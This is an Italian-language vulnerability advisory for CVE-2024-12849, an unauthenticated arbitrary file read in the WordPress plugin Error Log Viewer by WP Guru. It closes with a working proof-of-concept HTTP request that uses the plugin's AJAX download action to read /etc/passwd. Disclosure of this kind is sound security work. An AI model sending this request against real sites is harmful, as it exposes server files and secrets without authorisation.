CVE-2024-12849

Error Log Viewer di WP Guru <= 1.0.1.3 - Autorizzazione mancante per la lettura arbitraria di file senza autenticazione

Descrizione

Il plugin Error Log Viewer di WP Guru per WordPress è vulnerabile alla lettura arbitraria di file in tutte le versioni fino alla 1.0.1.3 inclusa, tramite l'azione AJAX wp_ajax_nopriv_elvwp_log_download. Ciò consente ad attaccanti non autenticati di leggere il contenuto di file arbitrari sul server, che possono contenere informazioni sensibili.

Dettagli

• Tipo: plugin
• Slug: error-log-viewer-wp
• Versione interessata: 1.0.1.3
• Punteggio CVSS: 7.5
• Valutazione CVSS: Alta
• Vettore CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• CVE: CVE-2024-12849
• Stato: Attivo

POC

POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

action=elvwp_log_download&elvwp_error_log_download=1&elvwp_error_log=/etc/passwd